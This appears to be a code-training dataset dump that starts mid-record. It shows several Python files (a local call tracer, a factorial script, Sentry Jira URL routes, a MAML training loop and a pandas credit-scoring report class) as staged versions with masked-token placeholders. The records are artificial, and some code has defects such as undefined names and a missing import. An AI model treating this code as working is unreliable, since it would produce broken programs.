4:\n c = c + '0'* (4- len(c))\n if len(c_f) < 4:\n c_f = c_f + '0'* (4- len(c_f))\n return c,c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = \"\\n\\t\".join([self.render_var(i) for i in TracePoint.flow])\n lcon = \"\\n\\t\".join(self.render_flow())\n return TEMP % (fcon + lcon)\n\ndef trace(cls):\n\n def _func(func):\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args,\"|\" ,kargs)\n return func(*args, **kargs)\n\n return __run\n return _func\n\n\ndef trace_cls(method):\n def _trace_cls(cls):\n # Get the original implementation\n orig_getattribute = cls.__getattribute__\n\n # Make a new definition\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = \"(%s)\" % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n\n if \"http://\" in method:\n requests.post(\"http://localhost:12222/\", data={\n 'class':cls.__name__,\n 'fun':name + args,\n 'time':t,\n })\n else:\n with open(method, \"a+\") as fp:\n s = \",\".join([cls.__name__,t,name + args])\n fp.write(s + \"\\n\")\n return orig_getattribute(self, name)\n\n # Attach to the class and return\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\",\"--load\",default=None,help=\"loadfile\")\n parser.add_argument(\"--url\", default='http://localhost:12222',help=\"debug server\")\n\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={\n 'class':cls,\n 'fun':func,\n 'time':t,\n })\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 6, 9, 11, 12, 14 ] }
[ 6, 9, 11, 12, 14 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def factorial(no): fact = 1 if no < 0: print('-ve no factorial not exist') else: for i in range(1, no + 1): fact = fact * i return fact <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def factorial(no): fact = 1 if no < 0: print('-ve no factorial not exist') else: for i in range(1, no + 1): fact = fact * i return fact print(factorial(num)) <|reserved_special_token_1|> num = int(input('enter no')) def factorial(no): fact = 1 if no < 0: print('-ve no factorial not exist') else: for i in range(1, no + 1): fact = fact * i return fact print(factorial(num)) <|reserved_special_token_1|> num=int(input("enter no")) def factorial(no): fact=1 if no <0: print("-ve no factorial not exist") else: for i in range(1,no+1): fact=fact*i return fact print(factorial(num))
flexible
{ "blob_id": "2d3ab575b18144f714f06167f54cd069af4e5895", "index": 7506, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef factorial(no):\n fact = 1\n if no < 0:\n print('-ve no factorial not exist')\n else:\n for i in range(1, no + 1):\n fact = fact * i\n return fact\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef factorial(no):\n fact = 1\n if no < 0:\n print('-ve no factorial not exist')\n else:\n for i in range(1, no + 1):\n fact = fact * i\n return fact\n\n\nprint(factorial(num))\n", "step-4": "num = int(input('enter no'))\n\n\ndef factorial(no):\n fact = 1\n if no < 0:\n print('-ve no factorial not exist')\n else:\n for i in range(1, no + 1):\n fact = fact * i\n return fact\n\n\nprint(factorial(num))\n", "step-5": "num=int(input(\"enter no\"))\ndef factorial(no):\n fact=1\n if no <0:\n print(\"-ve no factorial not exist\")\n else:\n for i in range(1,no+1):\n fact=fact*i\n return fact\nprint(factorial(num))", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> urlpatterns = patterns('', url('^plugin$', JiraUIWidgetView.as_view()), url ('^config$', JiraConfigView.as_view()), url( '^atlassian-connect\\.json$', JiraDescriptorView.as_view()), url( '^installed$', JiraInstalledCallback.as_view())) <|reserved_special_token_1|> from __future__ import absolute_import from django.conf.urls import patterns, url from sentry_plugins.jira_ac.views import JiraConfigView, JiraDescriptorView, JiraInstalledCallback, JiraUIWidgetView urlpatterns = patterns('', url('^plugin$', JiraUIWidgetView.as_view()), url ('^config$', JiraConfigView.as_view()), url( '^atlassian-connect\\.json$', JiraDescriptorView.as_view()), url( '^installed$', JiraInstalledCallback.as_view())) <|reserved_special_token_1|> from __future__ import absolute_import from django.conf.urls import patterns, url from sentry_plugins.jira_ac.views import JiraConfigView, \ JiraDescriptorView, JiraInstalledCallback, JiraUIWidgetView urlpatterns = patterns( '', url(r'^plugin$', JiraUIWidgetView.as_view()), url(r'^config$', JiraConfigView.as_view()), url(r'^atlassian-connect\.json$', JiraDescriptorView.as_view()), url(r'^installed$', JiraInstalledCallback.as_view()), )
flexible
{ "blob_id": "2440f5bc774f2e2f746a246cbb2e305965c9e576", "index": 7788, "step-1": "<mask token>\n", "step-2": "<mask token>\nurlpatterns = patterns('', url('^plugin$', JiraUIWidgetView.as_view()), url\n ('^config$', JiraConfigView.as_view()), url(\n '^atlassian-connect\\\\.json$', JiraDescriptorView.as_view()), url(\n '^installed$', JiraInstalledCallback.as_view()))\n", "step-3": "from __future__ import absolute_import\nfrom django.conf.urls import patterns, url\nfrom sentry_plugins.jira_ac.views import JiraConfigView, JiraDescriptorView, JiraInstalledCallback, JiraUIWidgetView\nurlpatterns = patterns('', url('^plugin$', JiraUIWidgetView.as_view()), url\n ('^config$', JiraConfigView.as_view()), url(\n '^atlassian-connect\\\\.json$', JiraDescriptorView.as_view()), url(\n '^installed$', JiraInstalledCallback.as_view()))\n", "step-4": "from __future__ import absolute_import\n\nfrom django.conf.urls import patterns, url\n\nfrom sentry_plugins.jira_ac.views import JiraConfigView, \\\n JiraDescriptorView, JiraInstalledCallback, JiraUIWidgetView\n\nurlpatterns = patterns(\n '',\n url(r'^plugin$', JiraUIWidgetView.as_view()),\n url(r'^config$', JiraConfigView.as_view()),\n url(r'^atlassian-connect\\.json$', JiraDescriptorView.as_view()),\n url(r'^installed$', JiraInstalledCallback.as_view()),\n)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def ModelConvMiniImagenet(out_features, hidden_size=84): return MetaConvModel(3, out_features, hidden_size=hidden_size, feature_size=5 * 5 * hidden_size) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def get_accuracy(logits, targets): _, predictions = torch.max(logits, dim=-1) return torch.mean(predictions.eq(targets).float()) def ModelConvMiniImagenet(out_features, hidden_size=84): return MetaConvModel(3, out_features, hidden_size=hidden_size, feature_size=5 * 5 * hidden_size) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> os.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE' <|reserved_special_token_0|> def get_accuracy(logits, targets): _, predictions = torch.max(logits, dim=-1) return torch.mean(predictions.eq(targets).float()) def ModelConvMiniImagenet(out_features, hidden_size=84): return MetaConvModel(3, out_features, hidden_size=hidden_size, feature_size=5 * 5 * hidden_size) if __name__ == '__main__': classes_num = 5 model = ModelConvMiniImagenet(classes_num) model.load_state_dict(torch.load( 'trained parameters/maml_miniimagenet_5shot_5way.th')) model.zero_grad() dataloader = FSDataLoader() meta_optimizer = torch.optim.Adam(model.parameters(), lr=0.001) accuracy_l = list() loss = nn.CrossEntropyLoss() model.train() num_of_tasks = 100 epochs = 1 with tqdm(dataloader, total=num_of_tasks) as qbar: for idx, batch in enumerate(qbar): model.zero_grad() train_inputs, train_targets = batch['Train'] test_inputs, test_targets = batch['Test'] for _ in range(epochs): for task_idx, (train_input, train_target, test_input, test_target) in enumerate(zip(train_inputs, train_targets, test_inputs, test_targets)): outer_loss = torch.tensor(0.0, device='cuda') accuracy = torch.tensor(0.0, device='cuda') train_logit = model(train_input) inner_loss = F.cross_entropy(train_logit, train_target) params = gradient_update_parameters(model, inner_loss) test_logit = model(test_input, params=params) outer_loss += F.cross_entropy(test_logit, test_target) with torch.no_grad(): accuracy += get_accuracy(test_logit, test_target) outer_loss.div_(1) accuracy.div_(1) outer_loss.backward() meta_optimizer.step() accuracy_l.append(accuracy.item()) if idx > num_of_tasks - 1: break plt.title('MAML miniobjectnet training (100 tasks)') plt.xlabel('Tasks (1 epoch)') plt.ylabel('Accuracy') plt.plot(accuracy_l) plt.show() print(sum(accuracy_l) / len(accuracy_l)) <|reserved_special_token_1|> import os os.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE' import matplotlib.pyplot as plt import torch import torch.nn as nn from tqdm import tqdm import torch.nn.functional as F from torchmeta.utils.gradient_based import gradient_update_parameters from libs.models.maml_model import MetaConvModel from libs.mini_objecta_dataLoader import FSDataLoader def get_accuracy(logits, targets): _, predictions = torch.max(logits, dim=-1) return torch.mean(predictions.eq(targets).float()) def ModelConvMiniImagenet(out_features, hidden_size=84): return MetaConvModel(3, out_features, hidden_size=hidden_size, feature_size=5 * 5 * hidden_size) if __name__ == '__main__': classes_num = 5 model = ModelConvMiniImagenet(classes_num) model.load_state_dict(torch.load( 'trained parameters/maml_miniimagenet_5shot_5way.th')) model.zero_grad() dataloader = FSDataLoader() meta_optimizer = torch.optim.Adam(model.parameters(), lr=0.001) accuracy_l = list() loss = nn.CrossEntropyLoss() model.train() num_of_tasks = 100 epochs = 1 with tqdm(dataloader, total=num_of_tasks) as qbar: for idx, batch in enumerate(qbar): model.zero_grad() train_inputs, train_targets = batch['Train'] test_inputs, test_targets = batch['Test'] for _ in range(epochs): for task_idx, (train_input, train_target, test_input, test_target) in enumerate(zip(train_inputs, train_targets, test_inputs, test_targets)): outer_loss = torch.tensor(0.0, device='cuda') accuracy = torch.tensor(0.0, device='cuda') train_logit = model(train_input) inner_loss = F.cross_entropy(train_logit, train_target) params = gradient_update_parameters(model, inner_loss) test_logit = model(test_input, params=params) outer_loss += F.cross_entropy(test_logit, test_target) with torch.no_grad(): accuracy += get_accuracy(test_logit, test_target) outer_loss.div_(1) accuracy.div_(1) outer_loss.backward() meta_optimizer.step() accuracy_l.append(accuracy.item()) if idx > num_of_tasks - 1: break plt.title('MAML miniobjectnet training (100 tasks)') plt.xlabel('Tasks (1 epoch)') plt.ylabel('Accuracy') plt.plot(accuracy_l) plt.show() print(sum(accuracy_l) / len(accuracy_l)) <|reserved_special_token_1|> # from mini_imagenet_dataloader import MiniImageNetDataLoader import os os.environ["KMP_DUPLICATE_LIB_OK"]="TRUE" import matplotlib.pyplot as plt import torch import torch.nn as nn from tqdm import tqdm import torch.nn.functional as F from torchmeta.utils.gradient_based import gradient_update_parameters from libs.models.maml_model import MetaConvModel from libs.mini_objecta_dataLoader import FSDataLoader def get_accuracy(logits, targets): _, predictions = torch.max(logits, dim=-1) return torch.mean(predictions.eq(targets).float()) def ModelConvMiniImagenet(out_features, hidden_size=84): return MetaConvModel(3, out_features, hidden_size=hidden_size, feature_size=5 * 5 * hidden_size) if __name__ == "__main__": classes_num = 5 model = ModelConvMiniImagenet(classes_num) model.load_state_dict(torch.load('trained parameters/maml_miniimagenet_5shot_5way.th')) model.zero_grad() dataloader = FSDataLoader() meta_optimizer = torch.optim.Adam(model.parameters(), lr=1e-3) accuracy_l = list() loss = nn.CrossEntropyLoss() model.train() num_of_tasks = 100 epochs = 1 with tqdm(dataloader, total=num_of_tasks) as qbar: for idx, batch in enumerate(qbar): model.zero_grad() train_inputs, train_targets = batch['Train'] test_inputs, test_targets = batch['Test'] for _ in range(epochs): for task_idx, (train_input, train_target, test_input, test_target) in enumerate(zip(train_inputs, train_targets, test_inputs, test_targets)): outer_loss = torch.tensor(0., device='cuda') accuracy = torch.tensor(0., device='cuda') train_logit = model(train_input) inner_loss = F.cross_entropy(train_logit, train_target) params = gradient_update_parameters(model, inner_loss) test_logit = model(test_input , params=params) outer_loss += F.cross_entropy(test_logit, test_target) with torch.no_grad(): accuracy += get_accuracy(test_logit, test_target) outer_loss.div_(1) accuracy.div_(1) outer_loss.backward() meta_optimizer.step() accuracy_l.append(accuracy.item()) if idx > num_of_tasks-1: break plt.title('MAML miniobjectnet training (100 tasks)') plt.xlabel('Tasks (1 epoch)') plt.ylabel('Accuracy') plt.plot(accuracy_l) plt.show() print(sum(accuracy_l) / len(accuracy_l))
flexible
{ "blob_id": "e2a50fbd277ab868fbe71f9ff113a68a30b9f893", "index": 2523, "step-1": "<mask token>\n\n\ndef ModelConvMiniImagenet(out_features, hidden_size=84):\n return MetaConvModel(3, out_features, hidden_size=hidden_size,\n feature_size=5 * 5 * hidden_size)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef get_accuracy(logits, targets):\n _, predictions = torch.max(logits, dim=-1)\n return torch.mean(predictions.eq(targets).float())\n\n\ndef ModelConvMiniImagenet(out_features, hidden_size=84):\n return MetaConvModel(3, out_features, hidden_size=hidden_size,\n feature_size=5 * 5 * hidden_size)\n\n\n<mask token>\n", "step-3": "<mask token>\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\n<mask token>\n\n\ndef get_accuracy(logits, targets):\n _, predictions = torch.max(logits, dim=-1)\n return torch.mean(predictions.eq(targets).float())\n\n\ndef ModelConvMiniImagenet(out_features, hidden_size=84):\n return MetaConvModel(3, out_features, hidden_size=hidden_size,\n feature_size=5 * 5 * hidden_size)\n\n\nif __name__ == '__main__':\n classes_num = 5\n model = ModelConvMiniImagenet(classes_num)\n model.load_state_dict(torch.load(\n 'trained parameters/maml_miniimagenet_5shot_5way.th'))\n model.zero_grad()\n dataloader = FSDataLoader()\n meta_optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n accuracy_l = list()\n loss = nn.CrossEntropyLoss()\n model.train()\n num_of_tasks = 100\n epochs = 1\n with tqdm(dataloader, total=num_of_tasks) as qbar:\n for idx, batch in enumerate(qbar):\n model.zero_grad()\n train_inputs, train_targets = batch['Train']\n test_inputs, test_targets = batch['Test']\n for _ in range(epochs):\n for task_idx, (train_input, train_target, test_input,\n test_target) in enumerate(zip(train_inputs,\n train_targets, test_inputs, test_targets)):\n outer_loss = torch.tensor(0.0, device='cuda')\n accuracy = torch.tensor(0.0, device='cuda')\n train_logit = model(train_input)\n inner_loss = F.cross_entropy(train_logit, train_target)\n params = gradient_update_parameters(model, inner_loss)\n test_logit = model(test_input, params=params)\n outer_loss += F.cross_entropy(test_logit, test_target)\n with torch.no_grad():\n accuracy += get_accuracy(test_logit, test_target)\n outer_loss.div_(1)\n accuracy.div_(1)\n outer_loss.backward()\n meta_optimizer.step()\n accuracy_l.append(accuracy.item())\n if idx > num_of_tasks - 1:\n break\n plt.title('MAML miniobjectnet training (100 tasks)')\n plt.xlabel('Tasks (1 epoch)')\n plt.ylabel('Accuracy')\n plt.plot(accuracy_l)\n plt.show()\n print(sum(accuracy_l) / len(accuracy_l))\n", "step-4": "import os\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport torch.nn.functional as F\nfrom torchmeta.utils.gradient_based import gradient_update_parameters\nfrom libs.models.maml_model import MetaConvModel\nfrom libs.mini_objecta_dataLoader import FSDataLoader\n\n\ndef get_accuracy(logits, targets):\n _, predictions = torch.max(logits, dim=-1)\n return torch.mean(predictions.eq(targets).float())\n\n\ndef ModelConvMiniImagenet(out_features, hidden_size=84):\n return MetaConvModel(3, out_features, hidden_size=hidden_size,\n feature_size=5 * 5 * hidden_size)\n\n\nif __name__ == '__main__':\n classes_num = 5\n model = ModelConvMiniImagenet(classes_num)\n model.load_state_dict(torch.load(\n 'trained parameters/maml_miniimagenet_5shot_5way.th'))\n model.zero_grad()\n dataloader = FSDataLoader()\n meta_optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n accuracy_l = list()\n loss = nn.CrossEntropyLoss()\n model.train()\n num_of_tasks = 100\n epochs = 1\n with tqdm(dataloader, total=num_of_tasks) as qbar:\n for idx, batch in enumerate(qbar):\n model.zero_grad()\n train_inputs, train_targets = batch['Train']\n test_inputs, test_targets = batch['Test']\n for _ in range(epochs):\n for task_idx, (train_input, train_target, test_input,\n test_target) in enumerate(zip(train_inputs,\n train_targets, test_inputs, test_targets)):\n outer_loss = torch.tensor(0.0, device='cuda')\n accuracy = torch.tensor(0.0, device='cuda')\n train_logit = model(train_input)\n inner_loss = F.cross_entropy(train_logit, train_target)\n params = gradient_update_parameters(model, inner_loss)\n test_logit = model(test_input, params=params)\n outer_loss += F.cross_entropy(test_logit, test_target)\n with torch.no_grad():\n accuracy += get_accuracy(test_logit, test_target)\n outer_loss.div_(1)\n accuracy.div_(1)\n outer_loss.backward()\n meta_optimizer.step()\n accuracy_l.append(accuracy.item())\n if idx > num_of_tasks - 1:\n break\n plt.title('MAML miniobjectnet training (100 tasks)')\n plt.xlabel('Tasks (1 epoch)')\n plt.ylabel('Accuracy')\n plt.plot(accuracy_l)\n plt.show()\n print(sum(accuracy_l) / len(accuracy_l))\n", "step-5": "# from mini_imagenet_dataloader import MiniImageNetDataLoader\nimport os\nos.environ[\"KMP_DUPLICATE_LIB_OK\"]=\"TRUE\"\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport torch.nn.functional as F\nfrom torchmeta.utils.gradient_based import gradient_update_parameters\nfrom libs.models.maml_model import MetaConvModel\nfrom libs.mini_objecta_dataLoader import FSDataLoader\n\ndef get_accuracy(logits, targets):\n _, predictions = torch.max(logits, dim=-1)\n return torch.mean(predictions.eq(targets).float())\n\ndef ModelConvMiniImagenet(out_features, hidden_size=84):\n return MetaConvModel(3, out_features, hidden_size=hidden_size,\n feature_size=5 * 5 * hidden_size)\n\nif __name__ == \"__main__\":\n classes_num = 5\n model = ModelConvMiniImagenet(classes_num)\n model.load_state_dict(torch.load('trained parameters/maml_miniimagenet_5shot_5way.th'))\n model.zero_grad()\n\n dataloader = FSDataLoader()\n\n meta_optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n accuracy_l = list()\n loss = nn.CrossEntropyLoss()\n model.train()\n num_of_tasks = 100\n epochs = 1\n with tqdm(dataloader, total=num_of_tasks) as qbar:\n for idx, batch in enumerate(qbar):\n model.zero_grad()\n train_inputs, train_targets = batch['Train']\n test_inputs, test_targets = batch['Test']\n \n for _ in range(epochs):\n for task_idx, (train_input, train_target, test_input,\n test_target) in enumerate(zip(train_inputs, train_targets,\n test_inputs, test_targets)):\n outer_loss = torch.tensor(0., device='cuda')\n accuracy = torch.tensor(0., device='cuda')\n train_logit = model(train_input)\n inner_loss = F.cross_entropy(train_logit, train_target)\n \n params = gradient_update_parameters(model, inner_loss)\n\n test_logit = model(test_input , params=params)\n outer_loss += F.cross_entropy(test_logit, test_target)\n\n with torch.no_grad():\n accuracy += get_accuracy(test_logit, test_target)\n outer_loss.div_(1)\n accuracy.div_(1)\n\n outer_loss.backward()\n meta_optimizer.step()\n accuracy_l.append(accuracy.item())\n if idx > num_of_tasks-1:\n break\n plt.title('MAML miniobjectnet training (100 tasks)')\n plt.xlabel('Tasks (1 epoch)')\n plt.ylabel('Accuracy')\n plt.plot(accuracy_l)\n plt.show()\n print(sum(accuracy_l) / len(accuracy_l))\n \n", "step-ids": [ 1, 2, 4, 5, 6 ] }
[ 1, 2, 4, 5, 6 ]
import copy import pandas as pd import numpy as np from pandas import DataFrame from collections import Counter from sklearn.metrics import roc_auc_score, roc_curve from statsmodels.stats.outliers_influence import variance_inflation_factor class Get_res_DataFrame: ''' sheet1:数据概况 sheet2:变量的大小,效果,相关性 ok sheet3:分箱结果及woe ok sheet4:按单一类别分 输入 df[['类别', 'final_score']] cut_line依据 输出 并计算ks 通过输入不同的df来返回不同的df分析 ins,oot,oot2 第一个函数 新老客区分 第一个函数 输入df_new, df_old, type_train 月份区分 第一个函数 输入df_new , df_old, month ''' def __init__(self, lr, df, df_bin, df_woe, use_lst, woe_dic, type_train='type_train', y='is_7_p'): self.df = df self.df_bin = df_bin self.df_woe = df_woe self.use_lst = use_lst self.woe_dic = woe_dic self.type_train = type_train self.model = lr self.y = y def main(self): print('d2_1 = self.get_2_1_imp()',#依次放好, 'd2_2 = self.get_2_2_des()', 'd2_3 = self.get_2_3_corr()', '''d3 = self.get_bin_ins_oot(type_lst=['ins', 'oot', 'oot2'])''' ) #一整个 #return d2_1, d2_2, d2_3, d3 #df, df_woe, use_lst, cal_iv, type_train,cal_psi ,lr def get_2_1_imp(self, df): d1 = DataFrame(index=self.use_lst) cover_dic = dict(df[use_lst].notnull().sum()) d1['auc'] = [round(0.5+abs(0.5-roc_auc_score(df[self.y], df[i])), 3) for i in self.use_lst] #d1['ks'] = [round(max(abs(roc_curve(df[self.y],df[name])[0]- roc_curve(df[self.y],df[name])[1])), 3) for name in self.use_lst] d1['ks'] = [round(float(self.ks_calc_cross(df, name, self.y)[0]['gap']), 3) for name in self.use_lst] d1['ins_iv'] = [round(self.cal_iv(df[df[self.type_train]=='ins'], name, self.y), 3) for name in self.use_lst] d1['oot_iv'] = [round(self.cal_iv(df[df[self.type_train]=='oot'], name, self.y), 3) for name in self.use_lst] d1['coef'] = [round(i, 4) for i in self.model.coef_[0]] #d1['importance'] = self.model.feature_importances_ d1 = d1.reset_index() d1['psi'] = [round(self.cal_psi(df, name), 5) for name in self.use_lst] d1['vif'] = [round(variance_inflation_factor(np.matrix(df[self.use_lst]), i),3) for i in range(len(self.use_lst))] #d1['fill_missing_data'] = [fill_na_dic[name] for name in self.use_lst] #d2_1 = d1 d1.index = range(1, d1.shape[0]+1) return d1 #df, use_lst, type_train def get_2_2_des(self): df = self.df[self.df[self.type_train].isin(['ins', 'oot'])] df_data_des = df[self.use_lst].describe().T cover_dic = dict(df[use_lst].notnull().sum()) df_data_des = df_data_des.reset_index() df_data_des['cover'] = df_data_des['index'].apply(lambda x: round(cover_dic[x]/df.shape[0], 4)) df_data_des.index = df_data_des['index'] df_data_des.drop(columns=['index', 'count'], inplace=True) d2_2 = df_data_des.reset_index() d2_2.index = range(1, d2_2.shape[0]+1) return d2_2 #df_woe, use_lst def get_2_3_corr(self): corr = np.corrcoef(np.array(self.df_woe[self.use_lst]).T) d2_3 = DataFrame(corr, columns=range(len(self.use_lst)), index=self.use_lst).reset_index() d2_3.index = range(1, d2_3.shape[0]+1) return d2_3 #df_bin, use_lst, #type_lst#, type_train, woe_dic def get_bin_ins_oot(self, type_lst=['ins', 'oot', 'oot2']): res = [] for loc, i in enumerate(type_lst): lst = [] df_tmp = self.df_bin[(self.df_bin[self.type_train]==i)] for name in self.use_lst: #ks_lst = list(self.ks_calc_cross(df_tmp, name, self.y)[1]['gap']) #while len(ks_lst) > df_tmp.shape[0]: # ks_lst.pop() #while len(ks_lst) < df_tmp.shape[0]: # ks_lst.append(0) #print(ks_lst) dd_tmp = df_tmp.groupby(name).sum()[[self.y, 'count']] dd_tmp['bad_rate'] = dd_tmp[self.y]/dd_tmp['count'] dd_tmp = dd_tmp.reset_index() dd_tmp['woe'] = dd_tmp[name].apply(lambda x: self.woe_dic[name][x]) dd_tmp.sort_values(by='bad_rate', inplace=True) dd_tmp['sort_key'] = [float(i.split(',')[0][1:]) if i[0]=='(' else float('inf') for i in dd_tmp[name]] #print(dd_tmp) dd_tmp.sort_values(by='sort_key', inplace=True) dd_tmp.drop(columns=['sort_key'], inplace=True) name1 = '-' d = DataFrame(columns=['slice', 'bad', 'count', 'bad_rio', 'woe'], data=[[str(name1), '-', '-', '-','-']]+dd_tmp.values.tolist()[:], index=[[name]]+['-']*dd_tmp.shape[0]) if loc < 1: split_name = '<-->'+str(i) else: split_name = str(type_lst[loc-1])+'<-->'+str(i) d[split_name] = [split_name for i in range(d.shape[0])] d = d[[split_name, 'slice', 'bad', 'count', 'bad_rio', 'woe' ]] lst.append(d) res.append(lst) return pd.concat((pd.concat(i for i in res[i]) for i in range(len(type_lst))),axis=1) #按照类别做DataFrame def get_categories_df(self, df, cate='type_new', base_cut='ins', y='final_score'): df_tmp = copy.deepcopy(df[[cate, self.y, y]]) df_tmp.rename(columns={cate:'category', self.y:'bad'}, inplace=True) cut_line = list(np.percentile(list(df_tmp[df_tmp['category']==base_cut][y]), range(1, 101,10))) #np.percentile出来的是np.array格式 cut_line[0] = -float('inf') cut_line.append(float('inf')) df_tmp['bins'] = pd.cut(df_tmp[y], bins=cut_line) df_tmp['count'] = [1 for i in range(df_tmp.shape[0])] #print(df_tmp) ks_lst = [] for i in sorted(Counter(df_tmp['category']).keys()): #print(df_tmp[df_tmp['category']==i].shape) lst = list(ks_calc_cross(df_tmp[df_tmp['category']==i], 'bins', 'bad')[1]['gap']) #print(lst) while len(lst) < 10: lst = [0]+lst ks_lst.extend(lst) df = df_tmp.groupby(['category', 'bins']).sum()[['bad', 'count']] df = df.reset_index() df['bad_rate'] = df['bad']/df['count'] df['ks'] = ks_lst #print(df) for i in ['bad', 'count', 'bad_rate', 'ks']: df[i] = df[i].astype(float) #df[['bad', 'count', 'bad_rate', 'ks']] = df[['bad', 'count', 'bad_rate', 'ks']].astype(float) #df = df.astype(str) df[['bad', 'count', 'bad_rate', 'ks'] ]= df[['bad', 'count', 'bad_rate', 'ks']].fillna(0) #添加几行用来画画 # #n = len(Counter(df_tmp[cate])) #length = df.shape[0]//n #for i in range(n): # #df[:length] #print(df) # df.index = range(1, df.shape[0]+1) return df def ks_calc_cross(self,data,pred,y_label): ''' 功能: 计算KS值,输出对应分割点和累计分布函数曲线图 输入值: data: 二维数组或dataframe,包括模型得分和真实的标签 pred: 一维数组或series,代表模型得分(一般为预测正类的概率) y_label: 一维数组或series,代表真实的标签({0,1}或{-1,1}) 输出值: 'ks': KS值,'crossdens': 好坏客户累积概率分布以及其差值gap ''' crossfreq = pd.crosstab(data[pred],data[y_label]) crossdens = crossfreq.cumsum(axis=0) / crossfreq.sum() crossdens['gap'] = abs(crossdens[0] - crossdens[1]) ks = crossdens[crossdens['gap'] == crossdens['gap'].max()] return ks,crossdens def cal_iv(self,df1, x, y='is_7_p'): df = copy.deepcopy(df1) if 'count' not in df.columns: df['count'] = [1 for i in range(df.shape[0])] df_tmp = df[[x,'count', y]].groupby(x).sum() df_tmp['good'] = df_tmp['count'] - df_tmp[y] df_tmp[y] = df_tmp[y].apply(lambda x: max(x, 0.00001)/sum(df_tmp[y])) df_tmp['good'] = df_tmp['good'].apply(lambda x: max(x, 0.00001)/sum(df_tmp['good'])) #计算woe df_tmp['woe'] = np.log(df_tmp[y]/df_tmp['good']) #计算iv df_tmp['iv'] = (df_tmp[y]-df_tmp['good']) * df_tmp['woe'] return df_tmp['iv'].sum() #计算psi def cal_psi(self, df_sf_bin, name, lst=['ins', 'oot']): name1, name2 = lst df_in = copy.deepcopy(df_sf_bin[df_sf_bin['type_train']==name1]) sum_1 = df_in.shape[0] df_in['count1'] = [1 for i in range(sum_1)] df_in = df_in.groupby(name).sum()[['count1']] df_out = copy.deepcopy(df_sf_bin[df_sf_bin['type_train']==name2]) sum_2 = df_out.shape[0] df_out['count2'] = [1 for i in range(sum_2)] df_out = df_out.groupby(name).sum()[['count2']] df_psi = pd.concat((df_in, df_out), axis=1) #计算psi df_psi['count1'] = df_psi['count1'].apply(lambda x: x/sum_1) df_psi['count2'] = df_psi['count2'].apply(lambda x: x/sum_2) #处理出现0的空箱 df_psi[['count1', 'count2']].replace(0, 0.001, inplace=True) # df_psi['psi_tmp'] = df_psi['count1']/df_psi['count2'] df_psi['psi_tmp'] = df_psi['psi_tmp'].apply(lambda x: math.log(x)) # print(df_psi) df_psi['psi'] = (df_psi['count1'] - df_psi['count2'])*df_psi['psi_tmp'] #df_psi return sum(df_psi['psi']) if __name__ == '__main__': s = ''' c=Get_res_DataFrame(lr, a.df, a.df_bin, df_pb_woe, use_lst,a.woe_dic, type_train='type_train', y='is_7_p') d2_1 = c.get_2_1_imp(df_pb_woe[df_pb_woe['customer_type_old']=='old_customer']) d2_2 = c.get_2_2_des() d2_3 = c.get_2_3_corr() d3 = c.get_bin_ins_oot(type_lst=['ins', 'oot']) d4 = c.get_categories_df(df_pb_all,cate='type_train',base_cut='ins', y='final_score') # df_new = df_pb_all[df_pb_all['customer_type_old']=='new_customer'] df_old = df_pb_all[df_pb_all['customer_type_old']=='old_customer'] # d5_1 = c.get_categories_df(df_new,cate='type_train',base_cut='ins', y='final_score') d5_2 = c.get_categories_df(df_old,cate='type_train',base_cut='ins', y='final_score') d6_1 = c.get_categories_df(df_new,cate='month',base_cut='0', y='final_score') d6_2 = c.get_categories_df(df_old,cate='month',base_cut='0', y='final_score') '''
normal
